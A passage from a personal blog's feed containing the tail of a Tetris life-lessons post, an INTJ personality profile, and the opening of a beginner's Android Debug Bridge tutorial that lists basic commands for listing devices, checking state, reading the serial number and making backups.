<p>Ever had a moment in life where you had no idea how to handle things? A problem pops up, and you&rsquo;re at a loss for how to deal with it. Again, don&rsquo;t feel terrible! Everyone has these moments, and you can end up feeling a bit lost. Just because you can&rsquo;t see the solution now doesn&rsquo;t mean one isn&rsquo;t coming your way. All you have to do is keep your eyes open and contemplate all paths ahead. Good things are out there, but you must be patient. Sometimes when you&rsquo;re searching for the right answer, keep at it, have faith, and a perfect fit will come along and set things straight.</p>
<ol start="5">
<li><strong>You can’t rely on faith alone</strong></li>
</ol>
<p>There is no way to predict when you’ll get it. Sure, the left side of the screen keeps tallys of each piece. But just like a display board on a roulette wheel, those numbers keep track of the past; they don’t predict the future. Mistakes are unavoidable. In order to progress in Tetris, sometimes you have to purposely make a mistake. Once those mistakes are made, they’re made. You can’t change them. You can’t fix them. You can only move forward, try to make better decisions and eventually those mistakes won’t matter. A little forethought can go a long way.</p>
<ol start="6">
<li><strong>Doing something is always better than doing nothing</strong></li>
</ol>
<p>If you spend too much time thinking it over, and you miss out on both. Think about what you do, but DO SOMETHING.</p>
<p>At the end of the day, we never truly know which decisions will be right or wrong, until we do them. So if you find yourself having trouble making a decision — just choose one. Chances are, even if you make a bad decision, you’ll learn from it and be able to make wiser decisions in the future.</p>
<ol start="7">
<li><strong>Sometimes an unconventional move is the way to go - but take calculated risks</strong></li>
</ol>
<p>Having a routine or a method is great, but if the mood strikes you to go in a different direction, just go! Don’t be afraid to follow your instincts, even if everyone watching thinks it’s crazy.</p>
<p>However, it’s very easy to stay complacent in life. Once you make a handful of decisions, you can get in a place where mistakes are easy to avoid. If you want to go further though, then you have to make some risks at some point. In life, it’s smart to take risks, but those risks still have to be carefully thought through and if you don’t fully believe in that risk, then maybe tackle a few smaller risks first.</p>
<ol start="8">
<li><strong>The more you do it, the better you get</strong></li>
</ol>
<p>Life continues to get faster. In Tetris, you’re given seven different blocks, in random patterns, and your goal is always the same — arrange them in such a way that will give you points. As the game gets faster, you don’t all of a sudden get an eighth block to arrange. The rules never change. It just gets faster.</p>
<p>In life, your goal is stay living. Make sure you have the food, water, and shelter you need to exist. Now of course, life is much more complicated than Tetris. As you get older, you will have to do things that you didn’t have to do before, BUT as a human, everybody’s got the same end goal — to try to live a fulfilling and happy life.</p>
<ol start="9">
<li><strong>The better you get, the tougher the challenges</strong></li>
</ol>
<p>As you become better, people will give you tougher and tougher assignments. No one is asking you start on the 19th level. But if you’ve already gotten past the first 18, then why not try?</p>
<ol start="10">
<li><strong>Learn to ignore the music</strong></li>
</ol>
<p>When you stack your pieces too high, the music in Tetris speeds up. This might create the illusion that the pieces are moving faster. They aren’t. Take heed and be careful, but don’t freak out. Worrying about the music only draws energy away from your focus. Know your deadlines, but don’t worry about them. Keep your objective in mind, and finish your task.</p>
<ol start="11">
<li><strong>Patience is a Virtue</strong></li>
</ol>
<p>Take the early stages to learn a little patience; you&rsquo;ll be happy you did when things start getting fast and furious. It&rsquo;s easy to see how you can parlay your Tetris patience into real life. Sometimes you need to sit back and let things go at their own pace. Trying to speed them up might not work out, and getting angry about it isn&rsquo;t going to help a thing. Dial it back a notch, let things play out on their own, and be happy you didn&rsquo;t turn a slow-going situation into a high-speed disaster!</p>
<ol start="12">
<li><strong>Never Give Up</strong></li>
</ol>
<p>No matter how bad things seem, no matter how much of a struggle you&rsquo;re facing, giving up isn&rsquo;t an option. Make sure to give everything you&rsquo;ve got to accomplish the task ahead. More often than not, be it real-life or Tetris, you&rsquo;ll end up finding a way to come out the victor. What happens if you don&rsquo;t win? There&rsquo;s an important lesson to be learned there as well. You gave it your all and you never pulled back.</p>
<p>You&rsquo;ve suffered a loss, but it&rsquo;s not the end of the world. Get back into the saddle and give things another shot! You can take inspiration from anyone, anything, and anywhere in life.</p>
<hr>
<p>That&rsquo;s fucking good mantras to live life by, innit? Makes a butt-ton sense, <em>It&rsquo;s you vs you vs the world</em>, and only goal is to survive long enough that you aren&rsquo;t guilty for anything or perturbed what didn&rsquo;t able to acheive while in your deathbed. That&rsquo;s some pretty good equations, I&rsquo;ll give you that. But there&rsquo;s another way to look into this equation, where you are constantly chasing &lsquo;you&rsquo; - Your dreams, desires and hope; and constantly running from &lsquo;you&rsquo; - Your darkness, despair and guilt. Am I going somewhere with this? I have no fucking idea.</p>
]]></content></item><item><title>INTJ Personality</title><link>https://blzr.sbs/posts/intj-personality/</link><pubDate>Mon, 14 Feb 2022 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/intj-personality/</guid><description>Personality Profile of the Mastermind</description><content type="html"><![CDATA[<h2 id="preface">Preface</h2>
<p>This document contains detailed information about the INTJ Personality Profile.</p>
<p>This personality profile comes with the following analysis:</p>
<ul>
<li>Trait Profiles (summaries)</li>
<li>Strengths and Weaknesses</li>
<li>Relationships (Romantic , Parents, Friends)</li>
<li>Personal growth (Career path , &amp; Work Place Habits)</li>
</ul>
<h2 id="intj-characteristics">INTJ Characteristics</h2>
<ol>
<li>INTJ in a Nutshell</li>
</ol>
<p>INTJs are analytical problem-solvers, eager to improve systems and processes with their innovative ideas. They have a talent for seeing possibilities for improvement, whether at work, at home, or in themselves. Often intellectual, INTJs enjoy logical reasoning and complex problemsolving. They approach life by analyzing the theory behind what they see, and are typically focused inward, on their own thoughtful study of the world around them. INTJs are drawn to logical systems and are much less comfortable with the unpredictable nature of other people and their emotions. They are typically independent and selective about their relationships, preferring to associate with people who they find intellectually stimulating.</p>
<ol start="2">
<li>What Makes the INTJ Tick</li>
</ol>
<p>INTJs are perceptive about systems and strategy, and often understand the world as a chess board to be navigated. They want to understand how systems work, and how events proceed: the INTJ often has a unique ability to foresee logical outcomes. They enjoy applying themselves to a project or idea in depth, and putting in concentrated effort to achieve their goals.</p>
<p>INTJs have a hunger for knowledge and strive to constantly increase their  competence; they are often perfectionists with extremely high standards of performance for themselves and others. They tend to have a keen interest in self-improvement and are lifelong learners, always looking to add to their base of information and awareness.</p>
<ol start="3">
<li>Recognizing an INTJ</li>
</ol>
<p>INTJs are typically reserved and serious, and seem to spend a lot of time thinking. They are curious about the world around them and often want to know the principle behind what they see. They thoroughly examine the information they receive, and if asked a question, will typically consider it at length before presenting a careful, complex answer. INTJs think critically and clearly, and often have an idea about how to do something more efficiently. They can be blunt in their presentation, and often communicate in terms of the larger strategy, leaving out the details.</p>
<p>Although INTJs aren’t usually warm or particularly gregarious, they tend to have a self-assured manner with people based on their own security in their intelligence. They relate their ideas with confidence, and once they have arrived at a conclusion they fully expect others to see the wisdom in their perceptions. They are typically perfectionists and appreciate an environment of intellectual challenge. They enjoy discussing interesting ideas, and may get themselves into trouble because of their take-no-
prisoners attitude: if someone’s beliefs don’t make logical sense, the Mastermind typically has no qualms about pointing that out.</p>
<ol start="4">
<li>INTJ in the Population</li>
</ol>
<p>INTJ is the third rarest type in the population, and the rarest type among women (with ENTJ). INTJs make up:</p>
<ul>
<li>2% of the general population</li>
<li>1% of women</li>
<li>3% of men</li>
</ul>
<ol start="5">
<li>Popular Hobbies</li>
</ol>
<p>Popular hobbies for the INTJ include reading, cultural events, taking classes, appreciating art, computers and video games, and independent sports such as swimming, backpacking, or running marathons.</p>
<ol start="6">
<li>What the Experts Say</li>
</ol>
<blockquote>
<p>&ldquo;INTJs are the most independent of all the sixteen types and take more or less conscious pride in that independence.&rdquo;</p>
<blockquote>
<p>Isabel Briggs Myers, Gifts Differing</p>
</blockquote>
</blockquote>
<blockquote>
<p>&ldquo;Difficulties are highly stimulating to INTJs, who love responding to a problem that requires a creative solution.&rdquo;</p>
<blockquote>
<p>David Keirsey, Please Understand Me II</p>
</blockquote>
</blockquote>
<blockquote>
<p>&ldquo;Their capacity for intellectual and conceptual clarity gives INTJs both vision and the will to see it through to completion—leadership qualities that are prized in our society.&rdquo;</p>
<blockquote>
<p>Otto Kroeger, Type Talk at Work</p>
</blockquote>
</blockquote>
<h2 id="strengths">Strengths</h2>
<ol>
<li>High self-confidence</li>
</ol>
<p>INTJ personalities rarely doubt themselves or care much about their perceived social roles, expectations, etc. Consequently, they are not afraid to voice their own opinions. This exudes confidence and reinforces the INTJ’s self-esteem even further.</p>
<ol start="2">
<li>Quick and versatile mind</li>
</ol>
<p>INTJs are very good at improving their knowledge of (often diverse) topics and fields that interest them. People with this personality type take pleasure in tackling intellectual challenges, and their natural curiosity pushes them forward as well.</p>
<ol start="3">
<li>Jacks-of-all-trades</li>
</ol>
<p>The most important strength of any INTJ is their mind. Other personality types pride themselves on being artistic, intuitive, convincing, athletic, etc. In contrast, INTJs excel at being able to analyze anything that life throws at them, uncovering the underlying methodology and then applying it in practice. Consequently, INTJ personalities are usually able to become what they want to become—be it an IT architect or a high-flying politician.</p>
<ol start="4">
<li>Independent and decisive</li>
</ol>
<p>People with the INTJ personality type are ruthless when it comes to analyzing the usefulness of methods or ideas. They could not care less if that idea is popular or supported by an authority figure. If the INTJ believes that it does not make sense, only overwhelming rational arguments will convince them otherwise. This strength makes them efficient and impartial decision-makers, often at a very young age. INTJs
also tend to be quite resistant to conflicts, usually remaining rational and calm in an emotionally charged situation.</p>
<ol start="5">
<li>Hard-working and determined</li>
</ol>
<p>INTJ personalities can be very patient and dedicated if something excites or intrigues them. They will work hard to achieve their goals, often ignoring everything else. That being said, INTJs may also appear lazy in situations that do not require them to flex their mental muscles. For instance, they may take risks and not study that hard at school, knowing that in all likelihood, they will be able to tackle the tests anyway.</p>
<ol start="6">
<li>Imaginative and strategic</li>
</ol>
<p>INTJs are very good strategic thinkers, often using this strength to devise multiple contingency plans in both professional and personal situations. They like to plan ahead and be prepared, imagining all the scenarios and consequences.</p>
<h2 id="weakness">Weakness</h2>
<ol>
<li>Arrogant</li>
</ol>
<p>There is a fine line between confidence and arrogance. Some less mature INTJs may overestimate the importance of their knowledge or analytical skills, seeing most other people as irrational or intellectually inferior, often making their opinion known.</p>
<ol start="2">
<li>Perfectionists</li>
</ol>
<p>INTJ personalities loathe inefficiency and imperfection, trying very hard to iron out all the flaws and analyze all possibilities. If left unchecked, this trait can easily become a weakness, slowing down their work quite significantly and frustrating people around the INTJ.</p>
<ol start="3">
<li>Likely to overanalyze everything</li>
</ol>
<p>INTJs tend to believe that everything can be analyzed, even things that are not necessarily rational, e.g., human relationships. They may seek logical explanations and solutions in every situation, refusing to rely on improvisation or their own emotions.</p>
<ol start="4">
<li>Judgmental</li>
</ol>
<p>INTJs reach their conclusions very quickly and stick to them. Even though people with this personality type tend to be open-minded, they have little patience for things they consider illogical, e.g., decisions based on feelings, irrational stubbornness, emotional outbursts, etc. An INTJ is likely to believe that someone who behaves in this way is either very immature or irrational; consequently, they will have little respect for them.</p>
<ol start="5">
<li>May be insensitive</li>
</ol>
<p>INTJ personalities often pride themselves on being brutally honest and logical. However, while their statements may be rational and completely correct, they may not take into account another person’s emotional state, background, individual circumstances, etc. Consequently, the INTJ’s directness and honesty may easily hurt other people, thus becoming a major weakness in social situations.</p>
<ol start="6">
<li>Often clueless when it comes to romantic relationships</li>
</ol>
<p>Many INTJs are likely to have difficulties dealing with anything that does not require logical reasoning, and this weakness is especially visible in interpersonal relationships. They may overanalyze everything, get frustrated trying to understand how the other person thinks, try to use a nearly scientific approach to dating, or just give up altogether.</p>
<h2 id="romantic-relationships">Romantic Relationships</h2>
<ol>
<li>INTJ Communication Style</li>
</ol>
<p>INTJs are direct and detached in their communication. They often naturally see how something could be done better and usually communicate their criticism in a straightforward, logical manner. They are typically independent and calm. They are not so much concerned about being liked or appreciated as they are with being competent and thoughtful. Their communications are typically well thought-out, insightful, and strategic. They often plan well into the future and offer big-picture analysis for improving systems.</p>
<ol start="2">
<li>INTJs as Partners</li>
</ol>
<p>In relationships, the INTJ is loyal but independent. INTJs can be almost scientific in choosing a mate and make devoted partners once they have found a match that fits their rigorous list of requirements. They often have clear ideas about what makes for a solid relationship and are unwavering in their pursuit of this ideal.</p>
<p>INTJs often have a passion for self-improvement and are encouraging oftheir partners&rsquo; goals and intellectual pursuits. However, they do not usually see the need for frivolous affection or romance, feeling that their devotion should be evident. They are more focused on serving their partners with hard work and resourceful problem-solving than they are on showering them with attention. INTJs&rsquo; partners often find them difficult to read, and indeed they do not show emotion easily; they find the process of discussing emotions much too messy and disorganized. They enjoy solving difficult problems, but are often out of their depth when it comes to illogical, unpredictable personal issues. INTJs value a partner that allows them the independence to achieve their goals, and one who appreciates their efficacy, insight, and ability to offer creative solutions to problems.</p>
<ol start="3">
<li>INTJs have significant difficulties when it comes to Relationships</li>
</ol>
<p>INTJs spend a large part of their lives in their heads; consequently, what they see and understand intuitively can be much more advanced than a “bland” reality. As a result, someone with the INTJ personality may find it challenging to merge that fantasy and those high requirements with reality. Unfortunately, their superior logic and imagination may actually hinder the INTJ when they start looking for a partner. People with this personality type are likely to apply a rational approach to dating and relationships as well. An INTJ is likely to have a “checklist” in their mind long before they actually start thinking about a relationship. It is also likely that “he/she must be rational” will be at the top of their list of criteria—and this is exactly what usually holds the INTJ back, especially if they are male.</p>
<p>There are certain rules (e.g., do not appear too interested) and types of behavior (e.g., a girl should not start the conversation) that a personinterested in finding a dating partner is expected to follow, and unfortunately for INTJs, the majority of people will follow those rules. Even those potential partners who an INTJ would normally see as rational will probably yield to societal expectations. Consequently, INTJs are likely to get quite disappointed after the first few attempts at dating and may even start thinking that everybody else is either irrational or intellectually inferior.</p>
<ol start="4">
<li>INTJs may attract a romantic partner when actually not looking for one</li>
</ol>
<p>Paradoxically, someone with the INTJ personality is most likely to attract a romantic partner when they are not actually looking for one. As most INTJs have difficulties with dating and relationships, their self-confidence takes a major hit in those situations, and the INTJ then overcompensates by showing off their intelligence, which makes them even more unattractive. Only when the INTJ returns to his or her usual self does their self-confidence start glowing again, which makes it much easier for them to attract a partner.</p>
<p>INTJs are uncomfortable expressing their feelings or trying to understand the emotions of other people. They also have a tendency to always trust their knowledge and understanding. Not surprisingly, INTJs can sometimes inadvertently hurt other people, especially during the dating phase and even later in the relationship. The mind of the INTJ personality is geared toward looking at conflict situations as logical puzzles worthy of analysis, which does not always help when their relationship partner does not share the same notion of fun.</p>
<ol start="5">
<li>From the standpoint of sexual intimacy</li>
</ol>
<p>Sexually, INTJs are likely to be very imaginative and enthusiastic. The above fact hold true provided that their partner is willing to reciprocate. However, it is important that the INTJ does not fall into a habit of spending more time theorizing about intimacy than communicating with their partner.</p>
<ol start="6">
<li>Preferred partners</li>
</ol>
<p>ENFP and ENTP types, as their Extraversion (E) and Prospecting (P) traits counterbalance INTJs’ Introversion (I) and Judging (J) traits. INFJs are also a very strong match as the intuitive connection between INTJ and INFJ is likely to be instantaneous.</p>
<h2 id="parenthood">Parenthood</h2>
<ol>
<li>INTJs as Parents</li>
</ol>
<p>As parents, INTJs are devoted and supportive. They set firm limits and provide consistent reinforcement, but within that structure allow a lot of latitude for their children to explore their own interests and potential. They are encouraging of their children’s intellectual pursuits and enthusiastic about sharing knowledge. INTJs enjoy the process of developing a young mind, and get a lot of satisfaction from parenting. They want to develop productive, competent, and self-sufficient children who think for themselves.</p>
<ol start="2">
<li>Not usually considered ideal for Parenting</li>
</ol>
<p>INTJ personality traits are not usually considered ideal as far as parenting is concerned. INTJs tend to be very rational, perfectionistic, and relatively insensitive individuals, which goes against the stereotypical image of warm, caring, traditional parents. However, it could be said that this is simply a reflection of the fact that society is dominated by more sensitive and traditional personality types. In contrast, INTJ parents are more likely to focus on making sure that their children grow up to be able to make independent and rational decisions.</p>
<ol start="3">
<li>Have difficulties in supporting their children emotionally</li>
</ol>
<p>Not surprisingly, people with the INTJ personality type will probably have difficulties supporting their children emotionally. They will be excellent advisors when it comes to planning, rational advice, help with studies, etc., but INTJ parents are unlikely to know how to react when their child asks for their help with a matter that is emotional in nature. INTJs are used to suppressing their own emotions and will struggle if their child is very sensitive. There are many other personality types that have difficulties in this area, but INTJ personalities are likely to find this especially difficult.</p>
<p>INTJ&rsquo;s children are well prepared to deal with challenge. Most INTJ parents will be able to ensure that their children are very well prepared to deal with the challenges that life throws their way. They will likely be demanding yet liberal and open-minded parents, encouraging their children to develop and use their own mind instead of trying to protect them from the world as long as possible.</p>
<h2 id="friendships">Friendships</h2>
<ol>
<li>INTJ as Friends</li>
</ol>
<p>People with the INTJ personality type tend to have more success in developing friendships than they do with romantic relationships, but they none-the-less suffer from many of the same setbacks, substituting rational processes for emotional availability. This intellectual distance tends to go both ways, making INTJs notoriously difficult to read and get to know, and making INTJs not want to bother reading anyone they think isn&rsquo;t on their level. Overcoming these hurdles is often all but impossible without the sort of instant connection made possible by sharing the Intuitive (N) trait.</p>
<ol start="2">
<li>It&rsquo;s not easy to become an INTJ’s friend</li>
</ol>
<p>People with this personality type value rationality and intelligence more than anything else and tend to automatically assume that most of the individuals they meet are likely to be less intelligent than they are. Most would probably call it arrogance; INTJs would rationalize this as a natural filtering mechanism and argue that most people simply bore them. Consequently, INTJs tend to have very few good friends, but they also do not really see the need to have a big social circle.</p>
<p>INTJ personalities are likely to be very knowledgeable, intelligent friends, but they are notoriously difficult to get to know, and few people have the patience and determination to get through their shields. The INTJ’s mind is always buzzing with ideas, riddles, and solutions. In contrast, though, communicating with other people is often more a nuisance than a pleasure for an INTJ. Consequently, INTJs tend to be very picky when it comes to choosing friends. If the other person has significantly different interests or simply cannot cope with the INTJ’s endless stream of ideas, it is unlikely that the INTJ will see them as close friends.</p>
<ol start="3">
<li>INTJs are very independent and self-sufficient</li>
</ol>
<p>They see their friends more as intellectual soul mates than as sources of social validation and assurance. INTJs will happily come up with new ways to improve and deepen the relationship, but they will not be dependent on their friends emotionally. Furthermore, it is quite unlikely that the INTJ will enjoy physical manifestations of feelings (hugs, touches, etc.), even with close friends.</p>
<p>INTJ friends will also find that people with this personality type are very difficult to “read.” Not only are INTJs comparatively unemotional, they are also likely to try to suppress emotions that get through their mental filters. Emotions are definitely the INTJ’s Achilles’ heel, so they do their best to not let them through, for fear of breaching that shield of logic and rationality. And vice versa, INTJs may be quite insensitive when it comes to their friends’ feelings. In all likelihood, the INTJ would honestly have no clue how to react to something on the emotional level.</p>
<ol start="4">
<li>INTJ’s Friendship Is Precious</li>
</ol>
<p>When they are in their comfort zone though, among people they know and respect, INTJs have no trouble relaxing and enjoying themselves. Their sarcasm and dark humor are not for the faint of heart, nor for those who struggle to read between the lines, but they make for fantastic story-telling among those who can keep up.</p>
<p>This more or less limits their pool of friends to fellow Analysts (NT) and Diplomat (NF) types, as Observant (S) type’s preference for more straightforward communication often simply leaves both parties frustrated. It&rsquo;s not easy to become good friends with INTJs. Rather than traditional rules of social conduct or shared routine, INTJs have exacting expectations for intellectual prowess, uncompromising honesty and a mutual desire to grow and learn as sovereign individuals. INTJs are gifted, bright and development-oriented, and expect and encourage their friends to share this attitude. Anyone falling short of this will be labeled a bore – anyone meeting these expectations will appreciate them of their own accord, forming a powerful and stimulating friendship that will stand the test of time.</p>
<h2 id="career-path">Career Path</h2>
<ol>
<li>INTJ at work</li>
</ol>
<p>At work, the INTJ excels at creating and implementing innovative solutions to analytical problems. They naturally see possibilities for improvement within complex systems and are organized and determined in implementing their ideas for change. INTJs are comfortable with abstraction and theory but gain the most satisfaction from turning their ideas into reality. They often enjoy working independently or with a small team, taking measured, strategic steps to implement change.</p>
<p>INTJs enjoy working with logical systems that they can understand in depth. They enjoy the challenge of comprehending complex ideas, and want to understand how they can improve the way things work. The ideal work environment for an INTJ is logical, efficient, structured, and analytical, with colleagues that are competent, intelligent, and productive. The ideal job for a Mastermind allows them to use their analytical skills to problem-solve in a challenging environment, and to take responsibility for implementing their ideas to create efficient, innovative systems.</p>
<ol start="2">
<li>INTJ career facts</li>
</ol>
<p>Earn more, on average, when self-employed
Second least likely of all types to report being a stay-at-home parent.</p>
<ol start="3">
<li>Professional competence is often the area in which INTJs shine most brilliantly</li>
</ol>
<p>Their capacity for digesting difficult and complex theories and principles and converting them into clear and actionable ideas and strategies is unmatched by any other type. INTJs are able to filter out the noise of a situation, identifying the core thread that needs to be pulled in order to unravel other&rsquo;s messes so that they can be rewoven into something at once beautifully intricate and stunningly simple in its function.</p>
<p>The real challenge for INTJs is that in order for their innovative (and to less insightful individuals, seemingly counter-intuitive) ideas to be heard, they need to have a friendly ear to bend, and developing an amiable rapport with authority figures is not exactly in INTJ’s list of core strengths.</p>
<p>In their early careers, INTJs will often have to suffer through menial tasks and repeated rejections as they develop their abilities into a skillset that speaks for itself.</p>
<ol start="4">
<li>Career to Consider</li>
</ol>
<ul>
<li>Architect</li>
<li>Artist</li>
<li>Designer</li>
<li>Inventor</li>
<li>Scientist/Scientific Researcher</li>
<li>Scientist Life &amp; Physical</li>
<li>Attorney: Litiator orCommercial</li>
<li>Judge</li>
<li>Manager</li>
<li>Writer/Editor</li>
<li>News Writer</li>
<li>News Analyst</li>
<li>Administrator</li>
<li>Investment/Business Analyst</li>
<li>Human Resource Planners</li>
<li>Management Consultant</li>
<li>Research Workers</li>
<li>Strategic Planner</li>
<li>Psychologist</li>
<li>Psychiatrist</li>
<li>Neurologist</li>
<li>Cardiologist</li>
<li>Pharmacologist</li>
<li>Social Service Worker</li>
<li>Computer Professional</li>
<li>Computer Systems Analyst</li>
<li>Computer Programmer</li>
<li>Technician</li>
<li>Engineer</li>
<li>Environmental Planner</li>
<li>University Teacher</li>
<li>Biomedical Engineer</li>
<li>Design Engineer</li>
</ul>
<ol start="5">
<li>Where&rsquo;s My Drawing Board?</li>
</ol>
<p>INTJs tend to prefer to work alone, or at most in small groups, where they can maximize their creativity and focus without repeated interruptions from questioning colleagues and meetings-happy supervisors. For this reason INTJs are unlikely to be found in strictly administrative roles or anything that requires constant dialogue and heavy teamwork. Rather, INTJs prefer more &ldquo;lone wolf&rdquo; positions as mechanical or software engineers, lawyers or freelance consultants, only accepting competent leadership that helps in these goals, and rejecting the authority of those who hold them back.</p>
<p>Their independent attitude and tireless demand for competence mean that INTJs absolutely loathe those who get ahead by seemingly less meritocratic means like social prowess and political connections. INTJs have exceptionally high standards, and if they view a colleague or supervisor as incompetent or ineffective, respect will be lost instantly and permanently.</p>
<p>INTJs value personal initiative, determination, insight and dedication, and believe that everyone should complete their work to the highest possible standards – if a schmoozing shill breezes through without carrying their own weight, they may find INTJ&rsquo;s inventiveness and determination used in a whole new capacity as the winds turn against them.</p>
<h2 id="workplace-habits">Workplace Habits</h2>
<ol>
<li>INTJ Colleagues</li>
</ol>
<p>Active teamwork is not ideal for people with the INTJ personality type. Fiercely independent and private, INTJs use their nimble minds and nsight to deflect personal talk, avoid workplace tension, and create situations where they aren&rsquo;t slowed down by those less intelligent, less capable, or less adaptable to more efficient methods. Instead, they will likely poke fun by forcing them to read between the lines and making them deal alone with work that could have been easier if they&rsquo;d only taken INTJ’s suggestions.</p>
<p>INTJs are brilliant analysts, and will likely gather a small handful of trusted colleagues to involve in their brainstorming sessions, excluding those who get too hung up on details, or who otherwise have yet to earn their respect. But more likely, INTJs will simply take the initiative alone. INTJs love embracing challenges and their consequent responsibilities, and their perfectionism and determination usually mean that the work comes out clean and effective, affording INTJs the twin joys of solitude and victory.</p>
<ol start="2">
<li>INTJ Managers</li>
</ol>
<p>Though they may be surprised to hear it, INTJs make natural leaders, and this shows in their management style. INTJs value innovation and effectiveness more than just about any other quality, and they will gladly cast aside hierarchy, protocol and even their own beliefs if they are presented with rational arguments about why things should change. INTJs promote freedom and flexibility in the workplace, preferring to engage their subordinates as equals, respecting and rewarding initiative and adopting an attitude of &ldquo;to the best mind go the responsibilities&rdquo;, directing strategy while more capable hands manage the day-to-day tactics. But this sort of freedom isn&rsquo;t just granted, it&rsquo;s required – those who are accustomed to just being told what to do, who are unable to direct themselves and challenge existing notions, will have a hard time meeting INTJ&rsquo;s extremely high standards.</p>
<p>Efficiency and results is king to INTJs, and behaviors that undermine these conditions are quashed mercilessly. If subordinates try to compensate for their weakness in these areas by trying to build a social relationship with their INTJ managers, on their heads be it – office gossip and schmoozing are not the way into INTJs&rsquo; hearts – only bold competence will do.</p>
<ol start="3">
<li>INTJ Subordinates</li>
</ol>
<p>INTJs are independent people, and they quickly become frustrated if they find themselves pushed into tightly defined roles that limit their freedom. With the direction of a properly liberal manager, INTJs will establish themselves in a position of expertise, completing their work not with the ambition of managerial promotion, but for its own intrinsic merit. INTJs require and appreciate firm, logical managers who are able to direct efforts with competence, deliver criticism when necessary, and back up those decisions with sound reason.</p>
<p>Note that it is INTJs&rsquo; expectations of their managers that are being defined here, and not the other way around, as with some other personality types. Titles mean little to INTJs – trust and respect are earned and INTJs expect this to be a two way street, receiving and delivering advice, criticisms and results. INTJs expect their managers to be intelligent enough and strong enough to be able to handle this paradigm. A silent INTJ conveys a lack of respect better than all their challenges ever will.</p>
]]></content></item><item><title>ADB Up</title><link>https://blzr.sbs/posts/adb-up/</link><pubDate>Tue, 01 Feb 2022 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/adb-up/</guid><description>Exploring the world of ADB for beginners</description><content type="html"><![CDATA[<p>Android Debug Bridge (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that you can use to run a variety of commands on a device. It is a client-server program that includes three components:</p>
<ul>
<li>A client, which sends commands. The client runs on your development machine. You can invoke a client from a command-line terminal by issuing an adb command.</li>
<li>A daemon (adbd), which runs commands on a device. The daemon runs as a background process on each device.</li>
<li>A server, which manages communication between the client and the daemon. The server runs as a background process on your development machine.</li>
</ul>
<p>If you still didn’t get the gist of it, allow me to break it down even further. ABD is two different applications: one is running on your computer, which could be running Windows 10, Linux or even macOS, while the other application is running on your phone. When your phone connects to the machine that is running any desktop operating system, and if USB debugging is enabled, you can issue commands and communicate with the phone using the command line utility.</p>
<p>The Android OS itself is based on Linux and therefore, it uses the Linux kernel and tools as a base. What this means is that there are quite a few Linux commands that can be sent through the ADB server (running on your computer) to the ADB client (running on your phone). Using the server-client relationship, this tag team can become a beneficial tool as you will be able to debug things when nothing or very little is going right for you. Also, you can execute unexplored commands when you’re on your hacking spree, so as far as exploration goes, there are several options present at your fingertips.</p>
<hr>
<p>We will try to understand few ADB commands so that you can use our smartphone to its fullest potential.</p>
<h2 id="prerequisites">Prerequisites</h2>
<p>Before you do anything remotely doohickey, you have to enable <code>Developer Options</code> on your smartphone. This is generally acessed by tapping <code>Build Number</code> 7 times. You can find this option in one of the following locations, depending on your Android version:</p>
<ul>
<li>Android 9 (API level 28) and higher: Settings &gt; About Phone &gt; Build Number</li>
<li>Android 8.0.0 (API level 26) and Android 8.1.0 (API level 26): Settings &gt; System &gt; About Phone &gt; Build Number</li>
<li>Android 7.1 (API level 25) and lower: Settings &gt; About Phone &gt; Build Number</li>
</ul>
<p>Before you can use the debugger and other tools, you need to enable <code>USB debugging</code>, which allows Android Studio and other SDK tools to recognize your device when connected via USB. To enable USB debugging, toggle the USB debugging option in the Developer Options menu. You can find this option in one of the following locations, depending on your Android version:</p>
<ul>
<li>Android 9 (API level 28) and higher: Settings &gt; System &gt; Advanced &gt; Developer Options &gt; USB debugging</li>
<li>Android 8.0.0 (API level 26) and Android 8.1.0 (API level 26): Settings &gt; System &gt; Developer Options &gt; USB debugging</li>
<li>Android 7.1 (API level 25) and lower: Settings &gt; Developer Options &gt; USB debugging</li>
</ul>
<h2 id="start-adb-server">Start ADB Server</h2>
<p>Before executing some cool commands, you need to start the ADB Server. Once you start the ADB Server, you can interact with your Android device. However, make sure to connect your Android device to the computer before starting the ADB Server. You can enter the following command to Start ADB Server.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb start-server
</span></span></code></pre></div><h2 id="list-all-connected-devices">List all Connected Devices</h2>
<p>After connecting Android devices, users should know whether the ADB bridge is working or not. To confirm that, users need to check whether the connected devices are showing on the ADB or not. So, users just need to enter the following command to list connected Android devices.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb devices
</span></span></code></pre></div><h2 id="know-the-current-state-of-the-device">Know the Current State of the device</h2>
<p>This command is useful when the touch response of your Android device is not working. Through this command, you will be able to know whether your device is in offline, bootloader or in device mode. For a normal state, you will see Android state as `Device&rsquo;. Here&rsquo;s the adb command that you can use</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb get-state
</span></span></code></pre></div><h2 id="get-androids-serial-number">Get Android&rsquo;s Serial Number</h2>
<p>Android has few apps which tell the serial number. However, most of the apps need root access to work. Since not everyone has a rooted device, using an adb command to know the serial number sounds nice. This command will let you know the device serial number of the connected device.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb get-serialno
</span></span></code></pre></div><h2 id="create-full-backup">Create Full Backup</h2>
<p>Android provides users with lots of option to create a full backup of your smartphone. However, these backups are usually stored on phone storage. So, if you choose to reset your device for any reason, all your backups will be removed. However, with the below android shell commands, you can create a backup of your smartphone directly on your computer.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>adb backup -all -f /backup/location/file.ab
</span></span></code></pre></div><h2 id="restore-backup">Restore Backup</h2>
